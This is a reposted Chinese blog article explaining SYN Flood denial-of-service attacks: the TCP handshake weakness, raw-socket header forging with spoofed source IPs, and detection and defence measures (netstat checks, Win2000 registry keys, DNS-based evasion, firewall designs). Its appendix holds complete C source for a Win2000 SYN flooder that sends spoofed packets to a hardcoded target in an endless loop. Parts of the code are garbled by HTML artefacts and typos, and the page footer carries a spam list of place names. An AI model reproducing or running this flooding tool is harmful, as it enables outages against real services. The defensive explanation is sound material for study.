JAVA天下

          小小博客,包羅萬有.
          隨筆 - 16, 文章 - 5, 評論 - 11, 引用 - 0
          數據加載中……

          【轉】SYN 攻擊講解

           (1)SYN Flood
              第一部分 SYN Flood的基本原理
              SYN Flood是當前最流行的DoS(拒絕服務攻擊)與DDoS(分布式拒絕服務攻擊)的方式之一,這是一種利用TCP協議缺陷,發送大量偽造的TCP連接請求,從而使得被攻擊方資源耗盡(CPU滿負荷或內存不足)的攻擊方式。要明白這種攻擊的基本原理,還是要從TCP連接建立的過程開始說起:大家都知道,TCP與UDP不同,它是基于連接的,也就是說:為了在服務端和客戶端之間傳送TCP數據,必須先建立一個虛擬電路,也就是TCP連接,建立TCP連接的標準過程是這樣的:
             
              首先,請求端(客戶端)發送一個包含SYN標志的TCP報文,SYN即同步(Synchronize),同步報文會指明客戶端使用的端口以及TCP連接的初始序號;
             
              第二步,服務器在收到客戶端的SYN報文后,將返回一個SYN+ACK的報文,表示客戶端的請求被接受,同時TCP序號被加一,ACK即確認(Acknowledgement)。
             
              第三步,客戶端也返回一個確認報文ACK給服務器端,同樣TCP序列號被加一,到此一個TCP連接完成。以上的連接過程在TCP協議中被稱為三次握手(Three-way Handshake)。問題就出在TCP連接的三次握手中,假設一個用戶向服務器發送了SYN報文后突然死機或掉線,那么服務器在發出SYN+ACK應答報文后是無法收到客戶端的ACK報文的(第三次握手無法完成),這種情況下服務器端一般會重試(再次發送SYN+ACK給客戶端)并等待一段時間后丟棄這個未完成的連接,這段時間的長度我們稱為SYN Timeout,一般來說這個時間是分鐘的數量級(大約為30秒-2分鐘);一個用戶出現異常導致服務器的一個線程等待1分鐘并不是什么很大的問題,但如果有一個惡意的攻擊者大量模擬這種情況,服務器端將為了維護一個非常大的半連接列表而消耗非常多的資源----數以萬計的半連接,即使是簡單的保存并遍歷也會消耗非常多的CPU時間和內存,何況還要不斷對這個列表中的IP進行SYN+ACK的重試。實際上如果服務器的TCP/IP棧不夠強大,最后的結果往往是堆棧溢出崩潰---即使服務器端的系統足夠強大,服務器端也將忙于處理攻擊者偽造的TCP連接請求而無暇理睬客戶的正常請求(畢竟客戶端的正常請求比率非常之小),此時從正常客戶的角度看來,服務器失去響應,這種情況我們稱作:服務器端受到了SYN Flood攻擊(SYN洪水攻擊)。
             
              從防御角度來說,有幾種簡單的解決方法:
              第一種是縮短SYN Timeout時間,由于SYN Flood攻擊的效果取決于服務器上保持的SYN半連接數,這個值=SYN攻擊的頻度 x  SYN Timeout,所以通過縮短從接收到SYN報文到確定這個報文無效并丟棄改連接的時間,例如設置為20秒以下(過低的SYN Timeout設置可能會影響客戶的正常訪問),可以成倍的降低服務器的負荷。
             
              第二種方法是設置SYN Cookie,就是給每一個請求連接的IP地址分配一個Cookie,如果短時間內連續受到某個IP的重復SYN報文,就認定是受到了攻擊,以后從這個IP地址來的包會被一概丟棄。
             
              可是上述的兩種方法只能對付比較原始的SYN Flood攻擊,縮短SYN Timeout時間僅在對方攻擊頻度不高的情況下生效,SYN Cookie更依賴于對方使用真實的IP地址,如果攻擊者以數萬/秒的速度發送SYN報文,同時利用SOCK_RAW隨機改寫IP報文中的源地址,以上的方法將毫無用武之地。

              第二部份 SYN Flooder源碼解讀
              下面我們來分析SYN Flooder的程序實現。首先,我們來看一下TCP報文的格式:
              0         1         2         3         4         5         6

              0 2 4 6 8 0 2 4 6 8 0 2 4 6 8 0 2 4 6 8 0 2 4 6 8 0 2 4 6 8 0 2 4

              +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

              |      IP首部      |    TCP首部      |    TCP數據段     |

              +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  圖一 TCP報文結構
              如上圖所示,一個TCP報文由三個部分構成:20字節的IP首部、20字節的TCP首部與不定長的數據段,(實際操作時可能會有可選的IP選項,這種情況下TCP首部向后順延)由于我們只是發送一個SYN信號,并不傳遞任何數據,所以TCP數據段為空。TCP首部的數據結構為:

              0                   1                   2                   3 
              0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2
              +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

              |             十六位源端口號    |           十六位目標端口號    |

              +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

              |                         三十二位序列號                         |

              +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

              |                         三十二位確認號                         |

              +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

              | 四位  |           |U|A|P|R|S|F|                               |

              | 首部  |六位保留位 |R|C|S|S|Y|I|         十六位窗口大小        |

              | 長度  |           |G|K|H|T|N|N|                               |

              +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

              |           十六位校驗和        |         十六位緊急指針        |

              +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

              |                           選項(若有)                         |

              +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

              |                           數據(若有)                         |

              +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
              圖二  TCP首部結構
             
              根據TCP報文格式,我們定義一個結構TCP_HEADER用來存放TCP首部:
              typedef struct _tcphdr             
              {
                  USHORT th_sport;               //16位源端口
                  USHORT th_dport;             //16位目的端口
                  unsigned int th_seq;         //32位序列號
                  unsigned int th_ack;         //32位確認號
                  unsigned char th_lenres;        //4位首部長度+6位保留字中的4位
                  unsigned char th_flag;            //2 位保留字+6位標志位
                  USHORT th_win;                 //16位窗口大小
                  USHORT th_sum;                 //16位校驗和
                  USHORT th_urp;                 //16位緊急數據偏移量
              }TCP_HEADER;
              通過以正確的數據填充這個結構并將TCP_HEADER.th_flag賦值為2(二進制的00000010)我們能制造一個SYN的TCP報文,通過大量發送這個報文可以實現SYN Flood的效果。但是為了進行IP欺騙從而隱藏自己,也為了躲避服務器的SYN Cookie檢查,還需要直接對IP首部進行操作:
             
              0                   1                   2                   3 
              0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2
              +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
              | 版本  | 長度  | 八位服務類型  |         十六位總長度          |
              +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
              |           十六位標識          | 標志|   十三位片偏移        |
              +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
              | 八位生存時間  |   八位協議    |         十六位首部校驗和      |
              +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
              |                       三十二位源IP地址                        |
              +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
              |                     三十二位目的IP地址                      |
              +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
              |                           選項(若有)                        |
              +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
              |                             數據                          |
              +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
                  圖三  IP首部結構
             
              同樣定義一個IP_HEADER來存放IP首部
              typedef struct _iphdr
              {
                  unsigned char h_verlen;            //4 位首部長度+4位IP版本號
                  unsigned char tos;               //8位服務類型TOS
                  unsigned short total_len;      //16位總長度(字節)
                  unsigned short ident;            //16 位標識
                  unsigned short frag_and_flags;  //3位標志位
                  unsigned char  ttl;              //8 位生存時間 TTL
                  unsigned char proto;         //8位協議號(TCP, UDP 或其他)
                  unsigned short checksum;        //16位IP首部校驗和
                  unsigned int sourceIP;            //32 位源IP地址
                  unsigned int destIP;         //32位目的IP地址
              }IP_HEADER;
              然后通過SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED));建立一個原始套接口,由于我們的IP源地址是偽造的,所以不能指望系統幫我們計算IP校驗和,我們得在在setsockopt中設置IP_HDRINCL告訴系統自己填充IP首部并自己計算校驗和:
             
              flag=TRUE;
              setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));
             
              IP校驗和的計算方法是:首先將IP首部的校驗和字段設為0(IP_HEADER.checksum=0),然后計算整個IP首部(包括選項)的二進制反碼的和,一個標準的校驗和函數如下所示:
             
              USHORT checksum(USHORT *buffer, int size)
              {
                  unsigned long cksum=0;
                  while(size >1) {
                      cksum+=*buffer++;
                      size -=sizeof(USHORT);
                  }
                  if(size ) cksum += *(UCHAR*)buffer;
                  cksum = (cksum >> 16) + (cksum & 0xffff);
                  cksum += (cksum >>16);
                  return (USHORT)(~cksum);
              }
             
              這個函數并沒有經過任何的優化,由于校驗和函數是TCP/IP協議中被調用最多函數之一,所以一般說來,在實現TCP/IP棧時,會根據操作系統對校驗和函數進行優化。TCP首部檢驗和與IP首部校驗和的計算方法相同,在程序中使用同一個函數來計算。需要注意的是,由于TCP首部中不包含源地址與目標地址等信息,為了保證TCP校驗的有效性,在進行TCP校驗和的計算時,需要增加一個TCP偽首部的校驗和,定義如下:
             
              struct
              {
                  unsigned long saddr;     //源地址
                  unsigned long daddr;     //目的地址
                  char mbz;                    // 置空
                  char ptcl;                   //協議類型
                  unsigned short tcpl;     //TCP長度
              }psd_header;
             
              然后我們將這兩個字段復制到同一個緩沖區SendBuf中并計算TCP校驗和:
              memcpy(SendBuf,&psd_header,sizeof(psd_header)); 
              memcpy(SendBuf+sizeof(psd_header),&tcp_header,sizeof(tcp_header));
              tcp_header.th_sum=checksum((USHORT *)SendBuf,sizeof(psd_header)+sizeof(tcp_header));
             
              計算IP校驗和的時候不需要包括TCP偽首部:
              memcpy(SendBuf,&ip_header,sizeof(ip_header));
              memcpy(SendBuf+sizeof(ip_header),&tcp_header,sizeof(tcp_header));
              ip_header.checksum=checksum((USHORT *)SendBuf, sizeof(ip_header)+sizeof(tcp_header));
              再將計算過校驗和的IP首部與TCP首部復制到同一個緩沖區中就可以直接發送了:
              memcpy(SendBuf,&ip_header,sizeof(ip_header));
              sendto(SockRaw,SendBuf,datasize,0,(struct sockaddr*) &DestAddr,sizeof(DestAddr));
             
              因為整個TCP報文中的所有部分都是我們自己寫入的(操作系統不會做任何干涉),所以我們可以在IP首部中放置隨機的源IP地址,如果偽造的源IP地址確實有人使用,他在接收到服務器的SYN+ACK報文后會發送一個RST報文(標志位為00000100),通知服務器端不需要等待一個無效的連接,可是如果這個偽造IP并沒有綁定在任何的主機上,不會有任何設備去通知主機該連接是無效的(這正是TCP協議的缺陷),主機將不斷重試直到SYN Timeout時間后才能丟棄這個無效的半連接。所以當攻擊者使用主機分布很稀疏的IP地址段進行偽裝IP的SYN Flood攻擊時,服務器主機承受的負荷會相當的高,根據測試,一臺PIII 550MHz+128MB+100Mbps的機器使用經過初步優化的SYN Flooder程序可以以16,000包/秒的速度發送TCP SYN報文,這樣的攻擊力已經足以拖垮大部分WEB服務器了。稍微動動腦筋我們就會發現,想對SYN Flooder程序進行優化是很簡單的,從程序構架來看,攻擊時循環內的代碼主要是進行校驗和計算與緩沖區的填充,一般的思路是提高校驗和計算的速度,我甚至見過用匯編代碼編寫的校驗和函數,實際上,有另外一個變通的方法可以輕松實現優化而又不需要高深的編程技巧和數學知識,(老實說吧,我數學比較差:P),我們仔細研究了兩個不同源地址的TCP SYN報文后發現,兩個報文的大部分字段相同(比如目的地址、協議等等),只有源地址和校驗和不同(如果為了隱蔽,源端口也可以有變化,但是并不影響我們算法優化的思路),如果我們事先計算好大量的源地址與校驗和的對應關系表(如果其他的字段有變化也可以加入這個表),等計算完畢了攻擊程序就只需要單純的組合緩沖區并發送(用指針來直接操作緩沖區的特定位置,從事先計算好的對應關系表中讀出數據,替換緩沖區相應字段),這種簡單的工作完全取決于系統發送 IP包的速度,與程序的效率沒有任何關系,這樣,即使是CPU主頻較低的主機也能快速的發送大量TCP SYN攻擊包。如果考慮到緩沖區拼接的時間,甚至可以定義一個很大的緩沖區數組,填充完畢后再發送(雛鷹給這種方法想了一個很貼切的比喻:火箭炮裝彈雖然很慢,但是一旦炮彈上膛了以后就可以連續猛烈地發射了:)。

              第三部分 SYN Flood攻擊的監測與防御初探
                  對于SYN Flood攻擊,目前尚沒有很好的監測和防御方法,不過如果系統管理員熟悉攻擊方法和系統架構,通過一系列的設定,也能從一定程度上降低被攻擊系統的負荷,減輕負面的影響。(這正是我撰寫本文的主要目的)一般來說,如果一個系統(或主機)負荷突然升高甚至失去響應,使用Netstat 命令能看到大量SYN_RCVD的半連接(數量>500或占總連接數的10%以上),可以認定,這個系統(或主機)遭到了SYN Flood攻擊。遭到SYN Flood攻擊后,首先要做的是取證,通過Netstat –n –p tcp >resault.txt記錄目前所有TCP連接狀態是必要的,如果有嗅探器,或者TcpDump之類的工具,記錄TCP SYN報文的所有細節也有助于以后追查和防御,需要記錄的字段有:源地址、IP首部中的標識、TCP首部中的序列號、TTL值等,這些信息雖然很可能是攻擊者偽造的,但是用來分析攻擊者的心理狀態和攻擊程序也不無幫助。特別是TTL值,如果大量的攻擊包似乎來自不同的IP但是TTL值卻相同,我們往往能推斷出攻擊者與我們之間的路由器距離,至少也可以通過過濾特定TTL值的報文降低被攻擊系統的負荷(在這種情況下TTL值與攻擊報文不同的用戶就可以恢復正常訪問)前面曾經提到可以通過縮短SYN Timeout時間和設置SYN Cookie來進行SYN攻擊保護,對于Win2000系統,還可以通過修改注冊表降低SYN Flood的危害,在注冊表中作如下改動:
             
              首先,打開regedit,找到HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Tcpip\Parameters增加一個SynAttackProtect的鍵值,類型為REG_DWORD,取值范圍是0-2,這個值決定了系統受到SYN攻擊時采取的保護措施,包括減少系統SYN+ACK的重試的次數等,默認值是0(沒有任何保護措施),推薦設置是2;增加一個TcpMaxHalfOpen的鍵值,類型為REG_DWORD,取值范圍是100-0xFFFF,這個值是系統允許同時打開的半連接,默認情況下WIN2K PRO和SERVER是100,ADVANCED SERVER是500,這個值很難確定,取決于服務器TCP負荷的狀況和可能受到的攻擊強度,具體的值需要經過試驗才能決定。增加一個TcpMaxHalfOpenRetried的鍵值,類型為REG_DWORD,取值范圍是 80-0xFFFF,默認情況下WIN2K PRO和SERVER是80,ADVANCED SERVER是400,這個值決定了在什么情況下系統會打開SYN攻擊保護。我們來分析一下Win2000的SYN攻擊保護機制:正常情況下,Win2K對TCP連接的三次握手有一個常規的設置,包括SYN Timeout時間、SYN-ACK的重試次數和SYN報文從路由器到系統再到Winsock的延時等,這個常規設置是針對系統性能進行優化的(安全和性能往往相互矛盾)所以可以給用戶提供方便快捷的服務;一旦服務器受到攻擊,SYN半連接的數量超過TcpMaxHalfOpenRetried的設置,系統會認為自己受到了SYN Flood攻擊,此時設置在SynAttackProtect鍵值中的選項開始作用,SYN Timeout時間被減短,SYN-ACK的重試次數減少,系統也會自動對緩沖區中的報文進行延時,避免對TCP/IP堆棧造成過大的沖擊,力圖將攻擊危害減到最低;如果攻擊強度不斷增大,超過了TcpMaxHalfOpen值,此時系統已經不能提供正常的服務了,更重要的是保證系統不會崩潰,所以系統將會丟棄任何超出TcpMaxHalfOpen值范圍的SYN報文(應該是使用隨機丟包策略),保證系統的穩定性。所以,對于需要進行SYN攻擊保護的系統,我們可以測試/預測一下訪問峰值時期的半連接打開量,以其作為參考設定TcpMaxHalfOpenRetried的值(保留一定的余量),然后再以TcpMaxHalfOpenRetried的1.25倍作為 TcpMaxHalfOpen值,這樣可以最大限度地發揮WIN2K自身的SYN攻擊保護機制。通過設置注冊表防御SYN Flood攻擊,采用的是“挨打”的策略,無論系統如何強大,始終不能光靠挨打支撐下去,除了挨打之外,“退讓”也是一種比較有效的方法。
             
              退讓策略是基于SYN Flood攻擊代碼的一個缺陷,我們重新來分析一下SYN Flood攻擊者的流程:SYN Flood程序有兩種攻擊方式,基于IP的和基于域名的,前者是攻擊者自己進行域名解析并將IP地址傳遞給攻擊程序,后者是攻擊程序自動進行域名解析,但是它們有一點是相同的,就是一旦攻擊開始,將不會再進行域名解析,我們的切入點正是這里:假設一臺服務器在受到SYN Flood攻擊后迅速更換自己的IP地址,那么攻擊者仍在不斷攻擊的只是一個空的IP地址,并沒有任何主機,而防御方只要將DNS解析更改到新的IP地址就能在很短的時間內(取決于DNS的刷新時間)恢復用戶通過域名進行的正常訪問。為了迷惑攻擊者,我們甚至可以放置一臺“犧牲”服務器讓攻擊者滿足于攻擊的“效果”(由于DNS緩沖的原因,只要攻擊者的瀏覽器不重起,他訪問的仍然是原先的IP地址)。
             
              同樣的原因,在眾多的負載均衡架構中,基于DNS解析的負載均衡本身就擁有對SYN Flood的免疫力,基于DNS解析的負載均衡能將用戶的請求分配到不同IP的服務器主機上,攻擊者攻擊的永遠只是其中一臺服務器,雖然說攻擊者也能不斷去進行DNS請求從而打破這種“退讓”策略,但是一來這樣增加了攻擊者的成本,二來過多的DNS請求可以幫助我們追查攻擊者的真正蹤跡(DNS請求不同于 SYN攻擊,是需要返回數據的,所以很難進行IP偽裝)。對于防火墻來說,防御SYN Flood攻擊的方法取決于防火墻工作的基本原理,一般說來,防火墻可以工作在TCP層之上或IP層之下,工作在TCP層之上的防火墻稱為網關型防火墻,網關型防火墻與服務器、客戶機之間的關系如下圖所示:
             
              外部TCP連接                內部TCP連接
              [客戶機] =================>[防火墻] =================>[服務器]
             
              如上圖所示,客戶機與服務器之間并沒有真正的TCP連接,客戶機與服務器之間的所有數據交換都是通過防火墻代理的,外部的DNS解析也同樣指向防火墻,所以如果網站被攻擊,真正受到攻擊的是防火墻,這種防火墻的優點是穩定性好,抗打擊能力強,但是因為所有的TCP報文都需要經過防火墻轉發,所以效率比較低由于客戶機并不直接與服務器建立連接,在TCP連接沒有完成時防火墻不會去向后臺的服務器建立新的 TCP連接,所以攻擊者無法越過防火墻直接攻擊后臺服務器,只要防火墻本身做的足夠強壯,這種架構可以抵抗相當強度的SYN Flood攻擊。但是由于防火墻實際建立的TCP連接數為用戶連接數的兩倍(防火墻兩端都需要建立TCP連接),同時又代理了所有的來自客戶端的TCP請求和數據傳送,在系統訪問量較大時,防火墻自身的負荷會比較高,所以這種架構并不能適用于大型網站。(我感覺,對于這樣的防火墻架構,使用 TCP_STATE攻擊估計會相當有效:)
             
              工作在IP層或IP層之下的防火墻(路由型防火墻)工作原理有所不同,它與服務器、客戶機的關系如下圖所示:
             
              [防火墻] 數據包修改轉發
              [客戶機]========|=======================>[服務器]

              TCP連接
              客戶機直接與服務器進行TCP連接,防火墻起的是路由器的作用,它截獲所有通過的包并進行過濾,通過過濾的包被轉發給服務器,外部的DNS解析也直接指向服務器,這種防火墻的優點是效率高,可以適應100Mbps-1Gbps的流量,但是這種防火墻如果配置不當,不僅可以讓攻擊者越過防火墻直接攻擊內部服務器,甚至有可能放大攻擊的強度,導致整個系統崩潰。
             
              在這兩種基本模型之外,有一種新的防火墻模型,我個人認為還是比較巧妙的,它集中了兩種防火墻的優勢,這種防火墻的工作原理如下所示:
             
              第一階段,客戶機請求與防火墻建立連接:
              SYN                           SYN+ACK                           ACK
              [客戶機]---- >[防火墻]   =>   [防火墻]-------- >[客戶機]   =>   [客戶機]--- >[防火墻]
             
              第二階段,防火墻偽裝成客戶機與后臺的服務器建立連接
              [防火墻]< =========== >[服務器]

              TCP連接
              第三階段,之后所有從客戶機來的TCP報文防火墻都直接轉發給后臺的服務器防火墻轉發
              [客戶機]< ======|======= >[服務器]
             
              TCP連接
              這種結構吸取了上兩種防火墻的優點,既能完全控制所有的SYN報文,又不需要對所有的TCP數據報文進行代理,是一種兩全其美的方法。   
              近來,國外和國內的一些防火墻廠商開始研究帶寬控制技術,如果能真正做到嚴格控制、分配帶寬,就能很大程度上防御絕大多數的拒絕服務攻擊,我們還是拭目以待吧。


              附錄:Win2000下的SYN Flood程序
              改編自Linux下Zakath編寫的SYN Flooder

              編譯環境:VC++6.0,編譯時需要包含ws2_32.lib

              //////////////////////////////////////////////////////////////////////////
              //                                                                      //
              //  SYN Flooder For Win2K by Shotgun                                    //
              //                                                                      //
              //  THIS PROGRAM IS MODIFIED FROM A LINUX VERSION BY Zakath             //
              //  THANX Lion Hook FOR PROGRAM OPTIMIZATION                            //
              //                                                                      //
              //  Released:    [2001.4]                                                //
              //  Author:     [Shotgun]                                               //
              //  Homepage:                                                           //
              //              [http://IT.Xici.Net]                                    //
              //              [http://WWW.Patching.Net]                               //
              //                                                                      //
              //////////////////////////////////////////////////////////////////////////
              #include <winsock2.h>
              #include <Ws2tcpip.h>
              #include <stdio.h>
              #include <stdlib.h>
              #define SEQ 0x28376839
              #define SYN_DEST_IP "192.168.15.250"http://被攻擊的IP
              #define FAKE_IP "10.168.150.1"       //偽裝IP的起始值,本程序的偽裝IP覆蓋一個B類網段
              #define STATUS_FAILED 0xFFFF      //錯誤返回值

              typedef struct _iphdr              //定義IP首部

              {

                  unsigned char h_verlen;            //4 位首部長度,4位IP版本號
                  unsigned char tos;               //8位服務類型TOS
                  unsigned short total_len;      //16位總長度(字節)
                  unsigned short ident;            //16位標識
                  unsigned short frag_and_flags;  //3位標志位
                  unsigned char  ttl;              //8 位生存時間 TTL
                  unsigned char proto;         //8位協議 (TCP, UDP 或其他)
                  unsigned short checksum;        //16位IP首部校驗和
                  unsigned int sourceIP;            //32位源IP地址
                  unsigned int destIP;         //32位目的IP地址
              }IP_HEADER;

              struct                              // 定義TCP偽首部
              {

                  unsigned long saddr;     //源地址
                  unsigned long daddr;     //目的地址
                      char mbz;
                      char ptcl;                   //協議類型
                      unsigned short tcpl;     //TCP長度
              }psd_header;

              typedef struct _tcphdr             //定義TCP首部
              {

                  USHORT th_sport;               //16位源端口
                  USHORT th_dport;               //16位目的端口
                  unsigned int th_seq;         //32位序列號
                  unsigned int th_ack;         //32位確認號
                  unsigned char th_lenres;        //4位首部長度/6位保留字
                  unsigned char th_flag;            //6位標志位
                  USHORT th_win;                 //16位窗口大小
                  USHORT th_sum;                 //16位校驗和
                  USHORT th_urp;                 //16位緊急數據偏移量
              }TCP_HEADER;

           

              //CheckSum:計算校驗和的子函數

              USHORT checksum(USHORT *buffer, int size)
              {

                  unsigned long cksum=0;
                  while(size >1) {
                      cksum+=*buffer++;
                      size -=sizeof(USHORT);
                  }

                  if(size ) {
                      cksum += *(UCHAR*)buffer;
                  }
                  cksum = (cksum >> 16) + (cksum & 0xffff);
                  cksum += (cksum >>16);
                  return (USHORT)(~cksum);

              }


              //  SynFlood主函數
              int main()
              {
                  int datasize,ErrorCode,counter,flag,FakeIpNet,FakeIpHost;
                  int TimeOut=2000,SendSEQ=0;
                  char SendBuf[128]={0};
                  char RecvBuf[65535]={0};
                  WSADATA wsaData;
                  SOCKET SockRaw=(SOCKET)NULL;
                  struct sockaddr_in DestAddr;
                  IP_HEADER ip_header;
                  TCP_HEADER tcp_header;
                  //初始化SOCK_RAW
                  if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0){
                      fprintf(stderr,"WSAStartup failed: %d\n",ErrorCode);
                      ExitProcess(STATUS_FAILED);
                  }
                  SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED));
                  if (SockRaw==INVALID_SOCKET){
                      fprintf(stderr,"WSASocket() failed: %d\n",WSAGetLastError());
                      ExitProcess(STATUS_FAILED);
                  }
                  flag=TRUE;
                  //設置IP_HDRINCL以自己填充IP首部
                  ErrorCode=setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));
                  If (ErrorCode==SOCKET_ERROR)  printf("Set IP_HDRINCL Error!\n");
                  __try{
                      //設置發送超時
                      ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut));
                      if(ErrorCode==SOCKET_ERROR){
                      fprintf(stderr,"Failed to set send TimeOut: %d\n",WSAGetLastError());
                      __leave;
                      }
                 
                      memset(&DestAddr,0,sizeof(DestAddr));
                      DestAddr.sin_family=AF_INET;
                      DestAddr.sin_addr.s_addr=inet_addr(SYN_DEST_IP);
                      FakeIpNet=inet_addr(FAKE_IP);
                      FakeIpHost=ntohl(FakeIpNet);
                      //填充IP首部
                      ip_header.h_verlen=(4<<4 | sizeof(ip_header)/sizeof(unsigned long));
                      //高四位IP版本號,低四位首部長度
                      ip_header.total_len=htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER));     //16位總長度(字節)
                      ip_header.ident=1;                                                       //16位標識
                      ip_header.frag_and_flags=0;                                               //3位標志位
                      ip_header.ttl=128;                                                       //8位生存時間TTL
                      ip_header.proto=IPPROTO_TCP;& nbsp;                                         //8 位協議(TCP,UDP…)
                      ip_header.checksum=0;& nbsp;                                                   //16 位IP首部校驗和
                      ip_header.sourceIP=htonl(FakeIpHost+SendSEQ);& nbsp;                         //32 位源IP地址
                      ip_header.destIP=inet_addr(SYN_DEST_IP);                               //32位目的IP地址
                      //填充TCP首部
                      tcp_header.th_sport=htons(7000);& nbsp;                                     // 源端口號
                      tcp_header.th_dport=htons(8080);& nbsp;                                     // 目的端口號
                      tcp_header.th_seq=htonl(SEQ+SendSEQ);& nbsp;                                 //SYN 序列號
                      tcp_header.th_ack=0;                                                 //ACK序列號置為0
                      tcp_header.th_lenres= (sizeof(TCP_HEADER)/4<<4|0);                         //TCP長度和保留位
                      tcp_header.th_flag=2;                                                    //SYN 標志
                      tcp_header.th_win=htons(16384);                                           //窗口大小
                      tcp_header.th_urp=0;                                                 //偏移
                      tcp_header.th_sum=0;                                                 //校驗和
                      //填充TCP偽首部(用于計算校驗和,并不真正發送)
                      psd_header.saddr=ip_header.sourceIP;& nbsp;                                   // 源地址
                      psd_header.daddr=ip_header.destIP;& nbsp;                                     // 目的地址
                      psd_header.mbz=0;
                      psd_header.ptcl=IPPROTO_TCP;& nbsp;                                           // 協議類型
                      psd_header.tcpl=htons(sizeof(tcp_header));& nbsp;                             //TCP 首部長度
                      while(1) {
                      //每發送10,240個報文輸出一個標示符
                          printf(".");
                          for(counter=0;counter<10240;counter++){
                          if(SendSEQ++==65536) SendSEQ=1;          & nbsp;                       // 序列號循環
                          //更改IP首部
                          ip_header.checksum=0;& nbsp;                                           //16 位IP首部校驗和
                          ip_header.sourceIP=htonl(FakeIpHost+SendSEQ);& nbsp;                 //32 位源IP地址
                          //更改TCP首部
                          tcp_header.th_seq=htonl(SEQ+SendSEQ);& nbsp;                         //SYN 序列號
                          tcp_header.th_sum=0;                                         //校驗和
                          //更改TCP Pseudo Header
                          psd_header.saddr=ip_header.sourceIP;                 
                          // 計算TCP校驗和,計算校驗和時需要包括TCP pseudo header       
                          memcpy(SendBuf,&psd_header,sizeof(psd_header)); 
                          memcpy(SendBuf+sizeof(psd_header),&tcp_header,sizeof(tcp_header));
                          tcp_header.th_sum=checksum((USHORT *)SendBuf,sizeof(psd_header)+sizeof(tcp_header));
                          //計算IP校驗和
                          memcpy(SendBuf,&ip_header,sizeof(ip_header));
                          memcpy(SendBuf+sizeof(ip_header),&tcp_header,sizeof(tcp_header));
                          memset(SendBuf+sizeof(ip_header)+sizeof(tcp_header),0,4);
                          datasize=sizeof(ip_header)+sizeof(tcp_header);
                          ip_header.checksum=checksum((USHORT *)SendBuf,datasize);
                          //填充發送緩沖區
                          memcpy(SendBuf,&ip_header,sizeof(ip_header));
                          //發送TCP報文
                          ErrorCode=sendto(SockRaw,SendBuf,datasize,0,(struct sockaddr*) &DestAddr,sizeof(DestAddr));
                          if (ErrorCode==SOCKET_ERROR) printf("\nSend Error:%d\n",GetLastError());
                          }//End of for
                      }//End of While
                  }//End of try

                  __finally {

                      if (SockRaw != INVALID_SOCKET) closesocket(SockRaw);
                      WSACleanup();
                  }
                  return 0;
              }


          MK-TIANYI

          posted on 2009-09-18 09:58 天一 閱讀(1820) 評論(0)  編輯  收藏


          只有注冊用戶登錄后才能發表評論。


          網站導航:
           
          主站蜘蛛池模板: 晋城| 寻甸| 株洲市| 瑞金市| 霍山县| 嘉善县| 黎城县| 张家港市| 林西县| 滨州市| 丽江市| 镇宁| 泰兴市| 宜城市| 阿勒泰市| 达日县| 进贤县| 富阳市| 连城县| 阳高县| 镇赉县| 平乡县| 额尔古纳市| 湘潭市| 敦化市| 玉屏| 黄大仙区| 汕尾市| 芜湖县| 紫云| 鄱阳县| 沙田区| 浦江县| 绥宁县| 兴安盟| 莱芜市| 双峰县| 黄平县| 会理县| 昌平区| 克什克腾旗|